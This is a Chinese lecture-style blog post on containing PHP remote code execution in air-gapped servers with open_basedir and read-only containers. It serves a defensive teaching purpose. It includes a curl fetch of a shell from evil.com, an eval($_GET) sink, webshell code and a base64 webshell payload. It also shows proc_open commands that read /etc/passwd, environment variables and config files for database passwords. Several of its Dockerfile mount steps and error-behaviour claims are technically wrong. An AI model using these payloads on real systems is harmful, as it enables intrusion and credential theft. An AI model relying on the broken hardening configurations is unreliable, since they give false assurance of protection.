PHP 环境下的 RCE 攻击物理隔离:利用 open_basedir 与容器 Read-only 模式构建安全壁垒

讲座主题:PHP 环境下的 RCE 攻击物理隔离:利用 open_basedir 与容器 Read-only 模式构建安全壁垒

主讲人: 你的首席安全架构师(兼吐槽担当)
时长: 漫长的下午茶时间
听众: 那些试图在不联网的空气间隙里写出“绝对安全”代码的后端工程师们


各位同事,各位老铁,大家下午好!

今天我们不聊那些花里胡哨的网络安全术语,也不讲那些只要连了网就能连上的“反弹Shell”。我们今天要聊的是那个听起来很浪漫、实际上很孤独的词——物理隔离

想象一下,你的服务器就像是一个被拔了网线的“闭关修炼”高手。它在这个房间里,没有WiFi,没有4G,甚至连隔壁老王都摸不到。这听起来很安全对吧?就像把你的秘密日记本锁在保险柜里,然后把保险柜扔进深海里。

但是!各位,请注意那个但是。只要你还在运行 PHP,只要你还在执行 eval() 或者 include(),你就依然是一块行走的“肉”。RCE(远程代码执行)在物理隔离的环境下,依然是一把能插进你心脏的尖刀。只不过,因为拔了网线,攻击变得更有趣了——我们需要用这把刀去捅自己人的屁股。

今天,我们就来探讨如何在物理隔离的这种极端绝望的环境下,利用 open_basedir容器 Read-only 模式,给我们的 PHP 程序穿上一层防弹背心。这不是为了保护代码不被黑客修改,而是为了防止我们自己的代码因为一个低级失误,变成黑客的提权工具。

来,把笔记本拿出来,我们要开始上硬菜了。


第一章:PHP,那个给了你钥匙却忘了锁门的疯子

首先,我们要搞清楚敌人的身份。在物理隔离环境下,RCE 攻击通常不是通过 curl http://evil.com/shell.php 进来的,因为没网啊!攻击者可能是通过 U 盘拷贝了一个看似无害的配置文件进来的,或者仅仅是点击了一个前端页面触发了一个后端的逻辑漏洞。

在 PHP 里,制造 RCE 的方式比做原子弹还简单。我们要熟悉以下几位“惯犯”:

  1. eval():最经典的罪犯。它直接把你的字符串当 PHP 代码执行。
    // 危险!太危险了!
    $code = $_GET['cmd'];
    eval($code);
  2. assert():PHP 5 和 7 早期版本里的亲戚,甚至比 eval 还容易中招。
  3. include / require:如果你能控制文件路径,它就会加载并执行。
  4. file_put_contents + file_get_contents:当你结合这两者,你就可以写一个 WebShell。

在物理隔离环境,因为 file_put_contents 写不进 /tmp(可能因为挂载只读),写不进 /var/www/html(因为 open_basedir 限制),攻击者会感到绝望吗?是的,他们会感到绝望,除非……他们找到了绕过这些限制的缝隙。


第二章:第一道防线——open_basedir:你的“只能吃食堂”政策

open_basedir 是 PHP 里的常驻嘉宾,它就像一个刻薄的管家,严格限制你的活动范围。

2.1 它的原理

open_basedir 并不是防火墙,它只是 PHP 的配置项。它的作用是:如果你不在允许的目录列表里,我就不让你 fopen,不让你 file_get_contents,甚至不让你 scandir

看这段代码,这是我们的防御:

<?php
// 假设配置文件 php.ini 中设置了 open_basedir = /var/www/html:/tmp

// 尝试读取根目录的敏感文件
$handle = fopen('/etc/passwd', 'r');
if ($handle) {
    while (!feof($handle)) {
        echo fgets($handle);
    }
    fclose($handle);
} else {
    echo "哎呀,管家说:‘不行,这儿不让你去。’n";
}

如果 open_basedir 配置正确,这段代码什么也不会输出。这就是“物理隔离”的第一层逻辑:既然你出不去,我就把路堵死。

2.2 幽默的误解

很多开发者以为只要开了 open_basedir 就万事大吉了。太天真了!open_basedir 有一个巨大的坑:它只限制文件系统的访问,不限制进程的执行!

这就好比你把门锁死了,禁止任何人出门,但是你没有锁厨房的燃气阀门。如果你能在里面 system('ls'),那你依然可以干坏事。

所以,在物理隔离环境下,单纯依靠 open_basedir 是不够的。我们需要更硬核的手段。


第三章:容器化时代——Read-only 模式:你的“胶水封死”术

如果你觉得 PHP 的 open_basedir 还是太宽容,那我们就得请出现代 Web 应用的护身符——容器,特别是 Read-only(只读)模式的容器。

3.1 Read-only 的美妙之处

在 Docker 容器中,如果你把根文件系统挂载为只读,会发生什么?

任何试图 write(写入)的操作都会抛出 E_ERROR。这意味着 file_put_contentsmkdir、甚至很多日志记录库尝试写日志时,都会直接崩掉。

这是我们的 Dockerfile 实验代码:

FROM php:7.4-cli

# 关键配置:把根目录挂载为只读
RUN mkdir /app && mount -o bind /dev/null /app

# 我们要运行一个 PHP 脚本
COPY exploit.php /app/exploit.php
CMD ["php", "/app/exploit.php"]

当我们运行这个容器,并执行一个写入操作时,会发生什么?让我们看看 exploit.php

<?php
$filename = '/tmp/pwned.txt';
$content = 'I am writing this!';
$result = file_put_contents($filename, $content);

if ($result === false) {
    echo "写入失败!服务器正在哭泣:'我不写了,我没地方写!'";
} else {
    echo "写入成功!恭喜你,你打破了物理隔离的壁垒。";
}

在 Read-only 容器里,输出将是:

写入失败!服务器正在哭泣:'我不写了,我没地方写!'

这非常美妙! 这就是我们要的安全壁垒。攻击者想要持久化(留后门),想要反弹 Shell,或者想要上传 WebShell,在 Read-only 容器里几乎不可能,因为文件系统是干巴巴的。

3.2 结合 open_basedir 的“双杀”战术

现在,我们把两者结合起来,这简直是噩梦般的配置:

  1. open_basedir:只允许访问 /var/www/html/proc/self(这个后面讲)。
  2. Read-only Root:根目录甚至 /var/www/html 都是只读的。

看下面这段代码,这是攻击者眼中的天堂:

<?php
// 恶意的 WebShell
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    // 1. 尝试直接写文件(失败)
    $file = 'shell.php';
    file_put_contents($file, '<?php system($_GET["c"]); ?>');

    // 2. 尝试包含文件(失败,因为文件没写进去)
    include $file; 

    // 3. 尝试反弹 Shell(失败,没网络)
    // ...
}

因为文件写不进去,包含失败,网络断开,这个 WebShell 就只是一行废代码。


第四章:物理隔离下的“特洛伊木马”——为什么 Read-only 并不是无敌的

但是,各位,不要高兴得太早。物理隔离环境下的攻击者都是老江湖。他们发现,既然文件写不进去,那我就修改内存,或者利用进程

4.1 那个隐藏的挂载点

Read-only 容器有个经典陷阱:挂载点

容器可以只把 / 设置为 Read-only,然后挂载一个特定的目录(比如 /var/log/var/www/html)为 Read-write(可写)。这就是“空口无凭”的陷阱。

攻击者通常不会直接写根目录,他们会尝试寻找那个唯一的“空隙”。

<?php
// 侦察代码
$mounts = file_get_contents('/proc/self/mounts');
echo $mounts;

这行代码会输出当前进程看到的所有挂载信息。
如果容器配置为:

  • / 只读
  • /app 可写

攻击者就能利用这个漏洞。

4.2 proc_openpcntl_exec:容器里的“自毁式攻击”

在物理隔离环境,既然不能上传文件,攻击者就会转向执行内存中的代码

PHP 提供了 proc_openpcntl_exec。即使 open_basedir 阻止了文件操作,它通常无法阻止进程的创建。

让我们看看这段防御代码是如何失效的:

<?php
// 防御者的代码:严格限制 open_basedir
// open_basedir = /app

// 攻击者的代码
$descriptorspec = array(
   0 => array("pipe", "r"), // stdin
   1 => array("pipe", "w"), // stdout
   2 => array("pipe", "w"), // stderr
);

// 尝试执行系统命令
// 注意:open_basedir 不限制 /bin/ls
$process = proc_open('/bin/ls -la /', $descriptorspec, $pipes);

// 即使在 Read-only 容器里,/bin/ls 也是只读的,但命令是可以执行的!
// 攻击者可以执行:/bin/sh -c "cat /proc/self/environ"
// 从而获取环境变量中的数据库密码

结论: open_basedir 就像一道门,门后是安全的房间。但攻击者可以站在门外,通过门上的小洞(管道 pipe)把长杆子(命令执行)伸进来搅动房间里的东西。


第五章:真正的壁垒——如何构建完美的“死亡陷阱”

既然 open_basedir 和 Read-only 模式都不是完美的,那我们该怎么构建那个传说中的“安全壁垒”?

我们必须采取“组合拳”。

5.1 open_basedir 的进阶配置

不要只允许 /var/www/html。在物理隔离环境下,我们要尽量缩小范围。

# php.ini
open_basedir = /var/www/html:/dev/shm

/dev/shm 放进去可能会带来风险,因为它通常是可写的。所以,最安全的配置是:

open_basedir = /var/www/html

如果你确实需要读日志,把日志路径加入到 open_basedir 中,但也别加太多。

5.2 容器化的终极形态:read-only + tmpfs 隔离

这里有一个高级技巧。

如果你真的需要一个地方写临时文件(比如 session 文件),不要使用宿主机的 /tmp,也不要使用容器内部的 /tmp(因为 / 是只读的)。

你可以使用 tmpfs(内存文件系统)。

FROM php:7.4-fpm

# 1. 根目录只读
RUN mount -o remount,ro /

# 2. 挂载一个内存盘作为可写区
RUN mkdir /tmp_rw && mount -t tmpfs -o size=128m tmpfs /tmp_rw

# 3. 挂载 /tmp 到内存盘
RUN mount --bind /tmp_rw /tmp

# 4. 配置 open_basedir
RUN echo "open_basedir=/var/www/html:/tmp" > /usr/local/etc/php/conf.d/security.ini

这个配置极其强悍:

  1. 根目录只读:攻击者无法在 /var/www/html 下写 WebShell。
  2. 内存盘 (tmpfs):虽然 /tmp 在物理上是可写的,但它不在磁盘上。如果攻击者试图 file_put_contents,文件会写入内存。一旦容器重启,内存清空,一切归于虚无
  3. open_basedir:限制了读取权限。

5.3 封锁 proc 接口

在物理隔离环境下,我们甚至可以尝试封禁 /proc 的访问,但这通常会导致 PHP 崩溃(因为 PHP 依赖它获取环境变量)。

更聪明的做法是:不要给 Web 用户执行系统命令的权限。

如果你用 Docker,确保 Web 容器里没有安装 grep, cat, ls,甚至没有 bash

FROM php:7.4-fpm
RUN apt-get update && apt-get purge -y bash && rm -rf /var/lib/apt/lists/*

这是一个心理战。当攻击者尝试 system('ls') 时,系统告诉他:“没有这个命令。” 攻击者会感到困惑,然后开始尝试其他方法。


第六章:实战演练——一场“无网络”的攻防博弈

让我们假设一个场景:你在物理隔离的内网维护一个 PHP 网站管理后台。管理员误触了某个 API,导致 RCE。

场景 A:普通的 WebShell 试图写入

攻击者代码:

<?php
$shell = base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+');
file_put_contents('shell.php', $shell);
include 'shell.php';
?>

防御者的反应(Read-only + open_basedir):

  1. 尝试写入 shell.php被拒绝。文件系统只读。
  2. 尝试包含:失败。文件不存在。
  3. 结果: 漏洞利用结束。攻击者被锁在门外。

场景 B:聪明的攻击者试图利用 proc_open 提权

攻击者代码:

<?php
// 既然不能写文件,我就读文件
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w"),
);

// 尝试读取配置文件,获取数据库密码
// 假设配置文件在 /var/www/html/config.php
// open_basedir = /var/www/html,所以可以读
$process = proc_open('cat /var/www/html/config.php', $descriptorspec, $pipes);

stream_copy_to_stream($pipes[1], $stdout);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>

防御者的反应:

  1. open_basedir 允许读取 /var/www/html
  2. 攻击者成功读取了 config.php,拿到了数据库密码。
  3. 结果: 服务器被黑了。

修正后的防御策略:
在物理隔离环境下,如果必须开启 open_basedir,必须同时禁止系统命令执行。

或者,更狠一点,不要给 Web 进程执行权限

# 禁止 PHP 执行外部命令
RUN echo "disable_functions = exec,system,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source" > /usr/local/etc/php/conf.d/disable_functions.ini

第七章:总结——安全是一场没有终点的接力赛

各位,今天我们聊了很多。

在物理隔离的环境下,我们面临着一种特殊的孤独感。没有互联网作为后援,没有反弹 Shell 的退路,所有的攻击都必须发生在本地,所有的防御都必须立足于本地。

open_basedir 是你的第一道防线,它像严厉的门卫,阻止你的脚迈出界外。
容器 Read-only 模式 是你的第二道防线,它像坚硬的墙壁,阻止你的手在墙上乱画。
tmpfsdisable_functions 是你的第三道防线,它们是心理战,让攻击者在绝望中寻找出路。

记住,安全不是一次性的工程,而是一种生活方式。

不要以为把代码扔进容器就万事大吉了,如果容器里装的是 PHP + eval,那里面就是个定时炸弹。
不要以为设置了 open_basedir 就能高枕无忧,只要 Web 用户能 proc_open,他的手就能伸进厨房。

在物理隔离的深海里,只有最严谨的配置和最清醒的头脑,才能让你活过今晚。

好了,今天的讲座就到这里。如果你们不幸被黑了,记得先关机,再拔网线,最后再来找我喝茶。

谢谢大家!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注